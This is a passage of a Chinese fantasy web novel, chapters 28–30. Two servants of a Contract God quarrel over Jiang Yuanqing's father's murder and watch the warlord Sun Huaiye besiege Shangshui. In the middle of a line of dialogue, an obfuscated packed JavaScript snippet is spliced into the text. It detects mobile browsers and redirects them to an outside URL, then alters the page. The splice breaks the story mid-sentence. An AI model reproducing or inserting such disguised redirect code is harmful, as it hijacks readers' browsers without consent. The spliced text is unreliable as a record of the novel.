“与孙怀野签下契约的那四人,本意是让孙怀野带领鬼人征讨四方不公,造福黎民百姓。可是远倾今日去孙怀野的军营,得知孙怀野不但命令鬼人屠城,还让鬼人杀死已经投降的俘虏烹煮食用,这些恐怕与那四人的本意相悖。不知鬼人是否是因为发现自己正在屠杀无辜之人,才会失灵?” “可是依本神所看,屠城是凡人在战争中掠夺资源的正常行动,若不如此,孙怀野如何征讨?至于烹煮战俘,在资源匮乏的年代更是常见,所以孙怀野并未违反契约……” “常见便属正常么?”江远倾深吸一口气,心中隐隐作痛,“那些被孙怀野屠杀的人也是有血有肉的人,他们也有家人在等着他们,凭什么要做孙怀野的垫脚石?” “任何事情都有其代价,自古以来便是如此。”契约神的语气一如既往的平淡。 “上神这句话未免说得太过轻巧。”江远倾紧紧握住拳头,身子因克制怒火而微微颤抖, “上神是天上的神仙,对凡人的疾苦不甚了解。如孙怀野这等凌驾于百姓之上的人,他们只需一个命令,或是一个微不足道的决定,便能轻易毁掉无数人的性命,斩断无数人的希望。他们是一人之下,万人之上了,却是拿别人的生命来做代价。在他们心中,那些人不过是一枚枚行走的棋子,一个个可任意宰杀的牲畜罢了!” 江远倾咬牙切齿地将心中的怒气宣泄出来,泪水再次模糊他的双眼。 飞红山中的落花和往常一样,仍旧在江远倾的周围胡乱飞舞着。花瓣轻轻擦过江远倾的脸颊,被泪水浸湿,随即重重地坠落在地上,无声无息。 “你错了。”契约神打破沉默,“本神并非不知凡人的疾苦,只是已经认清凡人的本性。任时光变幻,沧海桑田,凡人仍未改其旧性。只是一次日月更替,便将所有教训忘得干干净净。你别忘了,孙怀野也是凡人,说到底,凡人的疾苦也是你们自己造就的。你口中那些死于孙怀野刀下的凡人,他们不会怪罪孙怀野,只会怨恨自己不是孙怀野罢了。” “凡人在契约神的眼中就如此不堪么?” “你我皆曾是棋子,难道还不明白么?” 江远倾疲惫地坐在石凳上,眼中的泪水不知何时已被风吹干,只留下无尽的酸涩。 “你的路还很长,别忘了曾经签下的契约。鬼人失灵一事你且观望着,若再发生什么变故檐铃自会告知你。除此之外,莫要干涉孙怀野的行动,听明白了么?”契约神最后几句话的语气忽然变得强硬。 “远倾明白。”江远倾的声音微弱无力。 飞红山再次陷入一片寂静…… 28.第 28 章 一轮圆月悬挂在飞红山上空,银白色的月光洒向幽静的竹林中。江远倾坐在竹屋的窗前,看竹叶在月光下缓缓摇曳,闪烁着明暗不一的光泽。 竹屋内未点烛火,月光从窗户飘进,照亮了地上胡乱摆放的酒坛子。 酒坛里还有余酒,便被人弃在地上。坛口处滴滴答答地溢出美酒,在月光的照耀下,一点一滴都裹着银光,似琼浆玉露,散发着醉人的酒香。 酒滴的银光映照在江远倾的脸上,白皙的面皮上泛起阵阵红晕,额上的发丝也被酒水打湿,垂坠在一双黯淡无光,空洞茫然的眼眸前。 江远倾拎起桌上的酒坛往碗里倒酒,酒碗还未倒满,酒坛却已见底。他将空酒坛扔向一旁,酒坛从桌上滚下,发出碎裂的巨响。江远倾毫不在意,开了坛新酒径直往嘴里灌。 “爹爹……孩儿不孝,直至今日才真正知晓您此行的艰难……”说着江远倾又往嘴里灌了一口酒,“外祖父,孙儿无能,孙儿应当早日将心思放在文举,去皇上身边为您排忧解难……” “都是远倾的错……是远倾太过稚拙,未能独当一面救回你们的性命……即便是现在,远倾也未能查出你们的真正死因……” 烈酒下肚,江远倾却觉得脑中的记忆愈发清晰,胸口也一阵闷痛,似有一块石头结结实实地堵在心里,压得他喘不过气来。 江远倾捶打着自己的胸口,痛苦地皱起了眉头。 “可是……远倾不解……爹爹您为何要去?这一切究竟有何意义?皇上对您的死不管不问,还罪及外祖父。您这一路不但有虎视眈眈的贼寇,还有朝廷里伺机而动的阉党,最可笑的是,宁王……根本就没有进献万寿节礼!” “这一路,有无数双眼睛盯着您,您英明一世,最终却为了几车石头丢了性命!爹爹,您教孩儿要正直有礼,言而有信,对皇上忠心耿耿。您做到了,可是您的下场呢!?” 江远倾含泪仰天苦笑:“这世间的一切都是不值得的……我们都是这场混战中的牺牲品罢了……” “无人知晓……无人铭记……”江远倾站起身,将坛子里的酒缓缓倒在地上,“都是一场空……” 江远倾把酒倒尽后,又将酒坛奋力扔在地上,随后摇摇晃晃地躺在床上,昏昏沉沉地睡去…… 夜色已深,竹屋不时传来江远倾的梦中呓语。 “一场空……一……场……空……” 第二日清晨,周厉从睡梦中惊醒,耳边传来士兵们操练的喊声。 他掀开营帐门帘,只见东方将白,天将破晓。 周厉简单梳洗了一番,刚出营帐没几步,便见郭泰迎面走来。 “贤弟,江公子昨夜一夜未归么?” “我也未见他回来,许是去了我们先前的暂住之地。” 郭泰语气有些担忧道:“江公子负气出走,独自在外,真的不打紧么?贤弟,不如你去寻寻他罢。” “郭兄,你放心罢,江公子武艺高强,不会有事的。他说他想静一静,只怕我去了也是给他添乱。” “现在世道乱得很,江公子一人在外我实在不放心……” 周厉瞧着郭泰一脸忧色,不由得叹了口气:“郭兄莫要担心,贤弟去就是了。若是江公子无事,贤弟定会回来知会你一声。” “好,贤弟你路上也要当心。” 周厉应了一声,随即与郭泰告别朝军营外走去。他走了许久,直到确认四周无人,这才施法回到飞红山。 周厉快步走向江远倾的竹屋,还未走近竹屋,便闻得一阵浓烈的酒气。 “江远倾,你在屋里么?”周厉敲了敲门,却无人应答。 他朝窗户望去,发现窗户大开,屋里堆满了酒坛子,一片狼藉。 江远倾穿着外衣和鞋袜背过身侧躺在床上,一动不动。周厉屏息听到江远倾微弱的鼾声,悬着的心终于放下。 他走进茶室煮上了茶,随后去自己的住处挑了个轻便的匕首,打算在离江远倾竹屋不远的小溪里捉鱼。 “呦!这鱼可真大呀!”周厉站在溪边独自高声道。 他从身旁的树林里挑了根木棍,又从草丛中随意扯了条藤蔓,将匕首捆在木棍的前端,一个简易的鱼叉就做好了。 “这条鱼长得不错,就是小了点。”周厉站在溪水边端量着,“这条是最大的,就你了!” 话音刚落,周厉眼疾手快地将简易鱼叉扎进水里。立时水花四溅,一条活蹦乱跳的肥鱼被周厉命中,在鱼叉上不断甩动着尾巴。 “看你长得如此肥硕,想必此生吃了不少小鱼罢,今日就轮到我来吃你。” 周厉将肥鱼扔上岸,又扎了两条鱼才就此收手。他坐在岸边清除鱼的内脏和鳞片,又捡了不少柴火在竹屋前的空地上架火烤鱼。 没过多久,竹屋前便弥漫着阵阵鲜美的鱼肉香气,令人垂涎欲滴。 “哎呀,这烤鱼可真是外脆里嫩,入口即化呀!”周厉说着忽然面带遗憾地啧了几声,“只可惜呀,只有我一人享受。” 周厉吃得正香,忽然身后传来说话的声音。 “你就这么大摇大摆地吃契约神养的鱼么?” “谁?谁在说话?”周厉立即停止了咀嚼,转身朝那人望去。 只见江远倾正端着茶杯,站在竹屋的走廊里看着他。 “是你啊,吓我一跳。这鱼是水里野生的,怎得成了契约神养的了?”周厉不以为然道。 “整个飞红山都是契约神的,这鱼当然也归属于契约神。” “世间山水乃自然生成,水里的鱼也是自己长的,哪里有归属一说?再说了,契约神是天上的神仙,他又不需要吃鱼来填饱肚子。”说着周厉又咬了一口手里的烤鱼。 江远倾无奈地摇了摇头:“这茶是你煮的么?” “怎么?难道山里还有别人么?” “下次煮的时间不要太长。” 周厉一脸忿忿地望着江远倾:“这是我好心给你煮的醒酒茶,你还挑上了?看你平日里沉着稳重,没想到喝起酒来这么不要命。” 江远倾将茶杯放在桌子上,朝周厉缓步走来。 “你的面具呢?” “被郭兄拿去修补了。” “昨日摔坏了么?” “裂了几个口子。” 江远倾顿时感到愧疚不已:“昨日是我失礼了。” “不妨事,你当时得知了那样的消息,一时在气头上也很正常。不过郭兄倒是很担心你,叫我一定要找到你给他报个平安。” “只是一顿粗茶淡饭,没想到郭兄如此重情重义。” 周厉瞥了江远倾一眼:“在你眼里是粗茶淡饭,在我们眼里可是一线生机。若没有这顿,可能明早便饿死了,但正是有了这顿,当晚便能做个饱梦,第二日还能有些力气去找吃的。不幸的话也能多熬几天,幸运的话,还能多活几年、几十年。” 周厉将嘴里的烤鱼咽下,轻轻地叹了口气:“人这一辈子,有时候断就断在某个不经意的节骨眼上,但有时候又能因为某个不经意的节骨眼得以延续下去,也许是一个馒头,或者是一句话,谁也说不准。” 江远倾盯着火堆陷入了沉思,一些过往的记忆涌进脑海。 “爹爹在我小的时候曾教导我,勿以恶小而为之,勿以善小而不为,也许这就是意义所在罢。” “令尊虽遭奸人所害未得善终,但他曾经走过那么多趟镖,又帮助过那么多人,受过他恩惠的人都会记住他的。” “真的么?”江远倾的眼中闪着一丝亮光。 “当然,我和郭兄就记得真真切切的。你有没有想过,我们身处飞红山,以及认识郭兄都得益于令尊么?如果没有那次施粥,我未必能活下来,更不必说在杀山虎那里救下你。令尊一个微小的善行,却已在冥冥之中改变了你我的将来。他虽然已经不在人世,可他对世间的影响还在继续。” 周厉顿了顿,将一条烤鱼递给江远倾:“你别听孙怀野说的话,世间向来不缺强者,但仁义却是个稀缺的东西,不是所有人都能够坚守心中的仁义二字。要我说,若有一天仁义不复存在,凡人也就走到尽头了。” 江远倾默默接过周厉递过来的烤鱼,一阵浓郁的焦香味扑鼻而来,还夹杂着朴实的柴火味,令人莫名心安。 “不是所有人都能死得其所,若能因仁义而死也算不负此生了。”说完周厉吃完最后一口烤鱼,并将剩下的那条最肥硕的鱼包了起来。 “你安然无恙便好,我也好回去给郭兄报个平安,先走了。”周厉站起身,踢了几脚沙土将火堆熄灭。 “多谢……”江远倾低垂着头,声音沙哑道。 “别谢我,要谢就谢令尊罢。”说罢周厉剑指天庭,消失在一团飞花之中。 火堆被沙土掩埋,只留下袅袅黑烟。江远倾看着手中热气腾腾的烤鱼,悄悄抹去了一滴泪水。 周厉回到孙怀野的军营,径直朝郭泰的营帐中去。 一进营帐,便见郭泰在锯木头,木屑似落雪般覆了一地。 “郭兄,忙什么呢?” 郭泰连 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二人走到离营帐门口数丈远的地方时,周厉停下脚步,与郭泰告别。 郭泰望了几眼周厉离去的背影,转身回营帐时,却发现孙怀野站在身后。他一脸阴沉,表情严肃,只站在原地默不作声。 “将军。”郭泰迎上前去。 “那是周厉?”孙怀野的语气十分平静。 “正是,他说脸上有胎记,故之前一直戴着面具。” “江远倾可走了?” “昨日走了便未再回来。” 孙怀野微微颔首:“董诚已经治好,他二人无需再来军营,你下次再见到他们时,需与本将军禀报。” “遵命。” 孙怀野看似不经意地瞥了眼郭泰,随即转身离去。 飞红山中,正午的太阳愈发炽热地照射在地上,纷飞的落花落地不久便很快被晒得干枯。一阵风吹来,干枯的花瓣漫天飞舞,似冬日里轻盈的飞雪,在这骄阳下平添了几分萧瑟之感。 江远倾站在小竹屋的廊下看书,一片花瓣从天而降落在书页之中,他娴熟地拈起放在手心,手心里已攒了不少花瓣。江远倾缓缓转身,目光仍盯着书本,他随手将花瓣倒在桌上,平日里用来喝茶的小桌现已堆积了一座小“花山”。 不知不觉,书已翻至最后一页,江远倾凝望着漫天的飞花怅然若失。 他拣了几片干净的花瓣放进茶杯里,捧着已读完的书朝书房走去。 小竹屋里最大的房间便是书房,满满当当地放置了好几个竹制书架。江远倾将手中的书放回原位,徘徊在书架间挑选下一本典籍。书房里的书籍大多是古朴的封面,江远倾抬头望向书架的高处,一本红色的封面在一众书籍中十分显眼。 他踮起脚尖伸手去够,好不容易捏到了书的一角,却难以抽出。他捏紧那本书奋力一抽,一排的典籍接连轰然而下,砸到江远倾的头上。 江远倾一本一本地将书籍排好放回原位后,这才拿起那本红色的书籍阅读。 “《幻偶》?”封面上的书名令江远倾有些眼熟,“签订契约的那天,契约神便照着我的样子做了个幻偶,这本书莫不是阐述了幻偶的制作方法?” 江远倾翻开书页,还未阅读几行字便听见屋外传来了喊声。 “江远倾!你在么?” “我在书房!”江远倾朝门口喊道。 不多时书房门口便出现周厉焦急的面容。 “你方才未听到檐铃响么?” “檐铃响了么?许是我刚刚找书的时候没有听见。”江远倾将《幻偶》放置一旁,朝周厉道:“走罢,去天禄阁看看。” 周厉一把拦住江远倾欲施法的手:“不用看了,我已经去过了,还是孙怀野与那四个鬼人的契约。” “什么?难道鬼人又出问题了?” “只能再去一趟军营了。” “等等。”江远倾忽然想起了什么,“你学会飞行的法术了?” 周厉不好意思地挠了挠头:“果然瞒不过你,不过我也该学会这门法术了。” “怪不得书房里那本教飞行法术的典籍不见了,原来是被你拿去了。” 周厉笑了笑:“我们还是赶快去孙怀野的军营看看罢,正好瞧瞧郭兄将我那面具修好了没。” “好。”江远倾点了点头。 29.第 29 章 “鬼人无碍,本将军也未违反契约,你们可以回去了。”孙怀野坐在营帐中的椅子上漫不经心道。 “可是契约神的法器告诉我们,孙将军与四位鬼人的契约似乎生变。”江远倾语气平和道。 周厉瞥了眼江远倾的神态,一如既往的沉着稳重,丝毫看不出曾与孙怀野争辩的模样。倒是孙怀野,一见到江远倾便皱着眉头,语气也有些不耐烦。 孙怀野未对江远倾的话做出应答,他站起身走出营帐,过了一会儿进入营帐径直坐在椅子上。 “你们不相信本将军,待会那四个鬼人来了你们自己查看便是。” 外间的日光被营帐布幔削弱,形成灰暗的光芒照在孙怀野粗糙的脸皮上,使得他的面孔愈发冷峻。 营帐门帘被拉开,一道刺眼的光芒从缝隙中照射了进来,可接连进来的几个黑影将这道光芒结结实实地遮住。 四个高矮不一的黑衣人一字排开站在江远倾面前,手里拿着各自的兵器。虽然有黑纱覆面,但江远倾依然能看出他们的目光紧紧跟随着孙怀野。 江远倾走到最瘦弱的董诚面前仔细端量着,也未发觉出有什么异常。 孙怀野从椅子上起身,双手撑在桌上,身子微微前倾,凌厉的眼神将几个鬼人一一掠过,直至停在董诚身上。 周厉也将鬼人从头到脚审视了一番,可鬼人浑身裹得严严实实,实在看不出有何不同。他将目光转移到孙怀野身上,却发现他的眼中充满杀气,正凶狠地盯着江远倾的背影。 周厉疑惑了一瞬,忽听得孙怀野粗声喝道: “杀了他!” 话音刚落,董诚立即挥起手中的长枪,朝江远倾的腹部捅去。 说时迟,那时快,周厉迅速反应过来,一个跨步将董诚猛地侧踹在地。见他还欲起身,周厉一脚踩在董诚身上,并伸出一只手紧紧地抓住董诚持长枪的胳膊。 江远倾的目光刚刚从董诚身上转移至华义,便从眼角余光中发现董诚提起长枪,正要施法抵挡,却见周厉已将他踹倒在地。 “住手!”孙怀野一声高呼,董诚立时不再反抗。 “孙将军,你这是做什么!?”江远倾握紧拳头怒道。 孙怀野冷厉的脸忽地堆起笑容:“本将军方才已经向你们证明了,鬼人仍听从我的号令。” 周厉一面将董诚扶起,一面朝孙怀野咬牙切齿道:“什么证明?我看你分明是要杀他!” “江公子这不是还好好的么?再说,你们是契约神选中的人,定会有些本事,难道还怕鬼人偷袭么?” 江远倾竭力克制心中的怒火:“孙将军既然知道我们是契约神的人,就不该贸然试探。我们来此不但是为了契约,也是为了让鬼人能够更好地辅佐将军。” 周厉揉了揉自己的手腕嗤笑一声:“这契约里又不止四个人,鬼人没问题那就是剩下的人有问题。” “谁有问题那是你们该调查的事,如果你们找不出问题,那就请回罢。”孙怀野将头转向一边,不再理会江远倾和周厉二人。 江远倾见状只得同周厉离了营帐。 “这孙怀野做事真是狠厉,不愧是杀了宁王造反的人!”出营帐没多远周厉便直言道。 “方才多亏了你。” “无妨,我们也算是同僚,自然要互帮互助。” 江远倾注意到周厉一直揉着手腕:“你的手怎么了?是不是刚刚与董诚交手时受伤了?” 周厉皱了皱眉头:“这鬼人果真是力大无穷,我的手都差点折了。” 江远倾停住脚步,伸出手朝周厉的手腕施法,嘴里不时喃喃自语。 “复!” 随着江远倾一声号令,周厉忽觉手腕的疼痛瞬间消失。 “这是什么法术?我怎得从未见你用过?”周厉讶异道。 “今日新学的,正好拿你试试手。” “试手……?” 周厉还想说什么,却被一个喊声打断。二人朝身后望去,只见郭泰向他们走来,手里还拿着一把刀和一副面具。 “差点忘了我的东西。”周厉跑向郭泰,一脸欣喜道:“郭兄,我的面具可是修好了?” “修好了,还有你初来时被收缴的刀,别忘了拿上。” 周厉收好雁翎刀,将面具覆于脸上:“这面具……” 江远倾走过来,打量着周厉脸上的面具:“有些不一样了。” “周贤弟面部的骨骼随着年岁的增长会有些细微的变化,我看这面具似乎是于几年前制作,已有些不合适了。于是我在原先的基础上添了些木料,使得这面具戴起来更服帖些,往后也不至于太过窄小。” “多谢郭兄,这面具戴起来正合适。” “合适便好。”郭泰盯着面具上的花纹,忍不住道:“敢问这幅面具是贤弟自己雕刻的么?” “……不是。”周厉迟疑了片刻,“是在下曾经的一位好友所刻。” “看来这位好友与贤弟之间的友谊十分深厚。” “何以见得?”江远倾好奇心顿起。 “从图案来看,这狼的鬃毛多且细密,但每一根毛发都被刻得十分精细,可见贤弟这位好友用了不少功夫才得以刻成。而且这面具是用柳木刻成,柳木乃是辟邪之物,有驱邪纳吉之意。周贤弟的好友特地选此材料制作遮挡胎记的半边面具,可见其用意。” 江远倾若有所思地点了点头,周厉却站在一旁低垂着眼皮沉默不语。 “周厉,你怎么了?”江远倾察觉到周厉脸上异样的神色。 “没……没什么……”周厉搪塞道,“多谢郭兄将这些告知在下,我们还有事,就先告辞了。”周厉匆匆地行了个礼,转身独自离去。 “他这是怎么了?”郭泰朝江远倾问道。 “我也不知,许是想起了什么要紧事。”江远倾也朝郭泰行了个礼,“郭兄留步,在下告辞了。” “好,你们一路小心。” 江远倾与郭泰分别后回到飞红山中,他越过层层叠叠的石阶,终在一棵大树下找到了周厉。 周厉坐在树下,纷飞的落花衬得他的背影十分落寞。 “周厉,你方才怎走得如此匆忙?” “没什么。” 江远倾看他忽然心事重重的模样,不由得在心中思索了一番:“听郭兄方才的解释,想必这位朋友对你来说一定十分重要,不知他叫什么名字?” “他……他名中有个玉字。” “那他姓什么?” 周厉双眉紧蹙,迟迟答不上来。 “我不想说。” “为何?只是一个名字而已。” 周厉低着头,眼神只空空地盯着地上的某处,他的神情逐渐局促,眼角也开始泛红。 “还是说,我不能知晓他的名字?” 周厉猛然抬起头,小心翼翼地看着江远倾,眼神里闪烁着一丝惶恐。与江远倾对视了片刻后,周厉便转过头去,躲闪着他的目光。 “你这眼神让我想起了你潜入江府那晚时的情形,在那之后你又突然出现在我运镖的途中。你说是路过,可那个地方荒无人烟,偏僻得很,你的说辞也实在牵强了些。” 江远倾走到周厉面前:“你究竟有何事瞒着我?你跟踪我又意欲何为?恐怕不是报恩这么简单罢?” “我问你一件事,你可否回答我?”周厉站起身一脸严肃道。 “那要取决于你问的是什么?” 周厉犹豫了许久,终于开口道:“令尊的遗体被抬回风灵城时,你可有验尸?” “你为何关心此事?” “你做事细致周到,又会武功,一定知道江老爷身上的伤势是源于什么兵器,你且告诉我,这对我而言十分重要!” “我可以告诉你,但作为交换,你需得如实回答我方才问你的问题。” “我……”周厉的心中顿时如同一团乱麻,纠结不已。 “你若不答应,我也不必告诉你。” “好……我答应你。”周厉终下定决心。 “家父的尸骨被镖局里的兄弟运回时,我的确是仔细检查了一番。”江远倾顿了顿,看向周厉,“他的身上只有两处明显的伤口,一处是胸前的箭伤,一处是脖颈处的刀伤,也是致命伤。” “当真只有这两处伤口么?” “那你以为,家父应当还有什么伤口?”江远倾的眼中闪烁着锐利的光芒,他紧盯着周厉的神色,不愿放过一丝可疑之处。 周厉顿时哑口无言,眼神飘忽不定。 “你问我的,我已经答了,现在轮到你来回答了,你那晚潜进江府的真正目的是什么?” “……江老爷遇害时我的一位好友也在场,可是我寻不到他,便想着去江府瞧瞧……” “你说的是那位名中带‘玉’的好友么?” 周厉缄口不言,一脸为难的模样。 “家父遇害时,他为何会在场?那日在场的人除了镖局里的人,便都是家父的敌人。可据我所知,镖局里的兄弟没有名中带‘玉’的。敢问你那位兄弟是贼寇中的一员还是那些骑马的人?” “不,他都不是!”周厉立即否认道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680596|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他若不是家父的敌人,你又为何如此关心家父的死因?要么是你良心发现,潜入江府是为了确认是否是你的兄弟杀了你曾经的恩人;要么就是你与你那位兄弟狼狈为奸,进入江府是为了确认家父是否已经死绝!”江远倾握紧拳头步步紧逼。 “你还要瞒到什么时候?你那位兄弟究竟叫什么名字,他现在身在何处!?” “……他已经死了……”周厉声音颤抖道,“从你说的伤口来看,他绝对没有伤害令尊!” “你凭什么如此笃定?” “因为……他的武器是飞镖,若令尊真的是他所杀,那么脖颈处就不会是刀伤,而是遗留的飞镖!” 江远倾苦笑一声,失望地摇了摇头:“所以我应该庆幸家父不是死于他手么?周厉,你方才的话已经说明了一点,他也是那些要杀害我爹爹中的一员!” 周厉支支吾吾,半天说不出话来。 “他姓甚名谁?与家父有何恩怨?” “他与令尊并不相识……” “那就是受人指使?” “我也不知道究竟是谁要杀死江老爷……”周厉满脸愧疚道。 “他是怎么死的?”江远倾看着周厉脸上略带疑惑的表情,补充道:“为你做这幅面具的人,你方才不是说他已经死了么?” “我不知道是谁杀了他,我四处找遍了最后才在衙门的停尸房里找到他,他浑身都是刀伤……” “你不去追查杀他的人,反而跟踪我,难道你认为是我爹爹杀了他么?” 周厉低下头,他试图说些什么,可犹豫了片刻,终究没有说出口。 江远倾不禁冷笑道:“你我共事的这段时间,你究竟想的是报恩还是报仇?恩仇难判,却还要日日在我面前假装无事发生,也真是难为了你!” 周厉听出他讥笑的语气,却不敢为自己辩解,只是沉默不语。 “你有没有想过,如果他真的是我爹爹所杀,你打算如何?” “我不知道,我只是想弄明白,究竟是谁在他的身上留下那么多刀伤,实在有些残忍至极。” 江远倾喉中不屑地冷哼了一声:“要杀人就需料到会被反杀的下场,即便是我爹爹杀的你又能如何?” “可是江风山不像是那样的人……”周厉忙道。 “生死攸关,谁还会顾及是否良善?无论他是不是我爹爹所杀,对于他的死我都不会有丝毫怜悯!” “我知道,我理解你的感受。不管怎样,他都做错了,他不该去杀江风山。” “你若真心理解我的难处,就不会一直蒙骗我到现在!你从一开始就想包庇他!” “我……” 江远倾不由分说地打断周厉:“从今往后,你不许接近我的住处半步。你若安分守己,我便继续与你共事,毕竟人心难测,我可不想有一天稀里糊涂地死在你的刀下!” 说罢江远倾拂袖而去,只留下周厉一人站在原地黯然神伤…… 日光淡去,夜幕降临。空中的云雾不时被风吹起,或聚或散,使得路上的月光也时明时暗。 一行运粮的车队驰驱在官道上,每辆马车上都装载着沉甸甸的粮食。车轮滚滚,发出有节奏的嘎吱声,在寂静的夜间显得十分刺耳。 马车夫面色严峻地驱赶着马匹,车队两旁有全副武装的士兵骑马随行,即便是在月色朦胧的夜晚,也无人敢稍有怠慢。 运粮车队有条不紊地行进,领头的将士警惕地观察着周围。忽然,前方有一匹马横在路中央,马背上坐着一人,黑漆漆的只能约莫辨出个人影。 “停!”领头将士忙朝身后的士兵招手示意。 “你是何人?此乃通往商水城的粮道,闲杂人等速速让开!” 那人丝毫不理会领头将士的威吓,反倒骑着马缓缓朝他们迎面走来。 车队两侧护卫的士兵纷纷拔刀警戒,只见那人越来越近,月光穿过云层照在他的身上,仍是一片漆黑。 这时,道路两侧的草丛窸窣作响,黑暗中隐约有亮光闪动。 一名士兵定睛望去,草丛里竟有无数人影朝他们奔来,那些数不清的亮光皆是月下刀光。 “有埋伏!” 随着车队里一声高呼,道路两侧瞬间冒出无数身披甲胄,手持大刀长枪的人。 茫茫夜色中,杀声四起,一面“孙”字军旗迎风招展。 护卫粮车的士兵顿时乱了阵脚,领头的将士正欲发号施令,先前拦路的黑衣人忽然挥刀疾驰而来。 刀起刀落,前头的将士毫无招架之力,刹时被黑衣人拦腰斩断,血肉四溅…… 30.第 30 章 正午的日光透过密集的树林,在飞红山的石阶上投下片片斑驳的光影。 周厉在树下来回踱步,不时遥望着江远倾的竹屋。他轻轻地叹了口气,索性坐在溪边逗鱼。 光斑照耀在清澈的溪水里,里面的鱼儿看得一清二楚。周厉用树枝搅动水面,鱼儿受到惊吓不断翻腾,溅起无数金色的水珠。 逗了一会儿,周厉便渐渐失去兴致。他将树枝扔向一边,转头朝竹屋的方向望去,却正好看见江远倾站在廊下。 “你若无事,就不要在我住处附近逗留。”说完江远倾转身欲走。 “等等!”周厉连忙叫住他,“我有事,还是公事。” 江远倾停住脚步:“既是公事,你且直说罢。” 周厉清了清嗓子道:“前日我们去孙怀野的军营检查了鬼人,他们看起来和往常并无不同。还有董诚,他也对孙怀野的命令言听计从,可是那天檐铃明明响了……” “你确定你没有听错么?” “我确定,再说这飞红山上也没有第三个铃铛。”周厉思索片刻,忽然想起了什么,“不如我们去问问契约神罢。” “契约神找我们倒是轻而易举,我们一介凡人,又怎得知晓神仙的去处?” 周厉抬起头仰望天空:“契约神的声音每次都像是来自空中,他会不会藏在天空的某个角落?” 江远倾正要说些什么,却见周厉将手罩在嘴边,朝天空大喊道:“契约神!契约神你在哪儿!?” 二人屏息静听,空中没有任何回应。 “也许契约神是希望我们自己解决。”江远倾默默道。 “这可如何是好?”周厉顿时愁眉苦脸。 “回去看看。” “去哪儿?” “孙怀野的军营。” “可我们不是已经去过了么?孙怀野对我们也颇不待见。” 江远倾走出竹屋,一脸从容道:“鬼人如果失灵倒还好,我真正担忧的是他们会失控,所以不可不防。我昨日学了个隐身的法术,可助我们隐匿踪迹,悄悄观望。” “隐身术!?”周厉一脸惊奇,他忍不住朝前迈了几步,却忽然想起江远倾曾经说过的话,刚迈出去的脚停滞在空中。 江远倾略有不满地看了他一眼:“你身上的嫌疑还未洗清,你那位朋友也是我的杀父仇人,望你不要轻易逾矩。” 周厉忙收回脚:“我知道,我定会铭记在心。” 江远倾听后这才开始施法,他两只手掌交叉,嘴里念着周厉听不懂的咒语,随即朝周厉一挥,周厉却无任何感觉。 “这便好了?” “嗯。”江远倾闭上眼睛,将刚刚的动作重又做了一遍,只不过这回施法的对象是自己。 “走罢,去孙怀野军营。” 江远倾话音刚落,二人一同施法,转瞬间便离开了飞红山。 一道白光闪过,江远倾和周厉来到一片荒地。 “这……”周厉环顾四周,前日里还满是驻扎的营帐,此时却空空如也。 “他们去哪儿了?” “也许……他们已经去了商水城了。”江远倾思忖片刻道。 “你怎么知道?” “我初次来军营的那晚去找过孙怀野,他那时正与他的属下商议战事,我看到地图上商水城的位置被做了特殊标记。” “军事地图如此机密,孙怀野就这样许你看了么?”周厉不禁问道。 “看了又如何?我们是契约神的人,不得插手凡间战争、干涉凡人生死。” “为什么是商水城?我记得离这里最近的是另一座小城,孙怀野不是还没有攻下么?”周厉思索道。 “兵者,诡道也。”江远倾蹲在地上看着遗留的炙烤痕迹陷入沉思,“商水城乃是一座富庶之城,孙怀野军中粮草稀缺,商水城要比最近的小城更有价值。再者,此时出击,定能击其不意,攻其不备。” “原来如此。” 江远倾站起身朝周厉道:“走罢,去商水城。” 烈日当头,一个身着布衣、年近花甲的男子,踏着几近干裂的土地走到紧闭的商水城城门前,他的身后紧紧地跟着两名手持长枪盾牌的士兵。 布衣男子用袖子擦了擦布满脸颊的汗珠,抬头望向城墙上伸出的数不清的弓弩。 “严筹!你出来看看我,你可认得我?” 布衣男子竭力高呼,城墙上却无人应答。 “严筹,你听我一句劝,莫要垂死挣扎。孙怀野孙将军他有上万的兵马,已经将你这商水城包围了。你的粮道也被孙将军截断,朝廷的援军还不知何时才能抵达,粮草不足,你撑不了多久的!” 布衣男子因声嘶力竭的呐喊,不禁猛烈地咳嗽起来。他用衣襟擦去嘴角的口水,继续朝城墙上的方向喊道: “严筹,孙将军说了,只要你开城门,他定会善待城内的百姓,不会伤他们分毫的。孙将军乃威名远扬的骁勇大将军,他说到做到,你可不要意气用事,害了城内的百姓呐!” 这时,城墙上探出一人,戴着铁胄,顶上的枪头闪烁着耀眼的光芒,红缨随风飘扬。 “你好糊涂!我若开了城门,商水城便是下一个骞城!” 布衣男子一眼辨出城墙上的严筹,顿时厉声道:“糊涂的是你!你若不开城门,那才是真的死路一条!” 严筹站在城墙上抬眼朝布衣男子的身后望去,只见黑压压的一片围满了孙怀野的士兵。孙怀野穿着银白色的铁甲坐在马上,一副胜券在握的模样。他的身后有四位骑着马的黑衣人,一动不动,像是四尊被黑布遮盖的塑像。 严筹背对城墙沉默不言,手里紧紧地握着佩刀,眼神逐渐变得狠厉,他将目光缓缓转向身旁张弓搭箭的士兵…… “为了商水城的百姓,你莫要负隅……” 布衣男子的话还未说完,一支箭矢从城墙上呼啸而出,射穿了他的头颅。 孙怀野见状立即朝城墙上怒喝道:“严筹,你竟如此狠毒!你方才杀的可是你的亲舅舅!你日后要如何与你的母亲交代!?” “我严筹乃奉皇上之命镇守商水城,不管今日站在城下的是谁,我都照杀不误!”严筹将弓箭还给士兵,朝城下喊道:“孙怀野,你不过是宁王身边一条摇尾乞怜的狗!什么时候连一条狗都能自称骁勇大将军了?我呸!你还是趁早卸了盔甲脱了裤子,去做你的象姑罢!” 城墙上传来一阵哄笑,孙怀野坐在马上面色阴沉,眼神犀利如刀。他眯着眼睛注视着城墙上插的“严”字旗帜,逐渐咬紧了牙关,脸上的肌肉也在微微颤动。 孙怀野朝身后的四个鬼人低声说了几句话,随即一声令下,战鼓声响起,震耳欲聋。 士兵们纷纷手持利刃,嘶喊着向前冲锋。 孙怀野骑马来到队伍后方,举刀高声吼道:“拿下商水城!畏缩不前者,杀!” 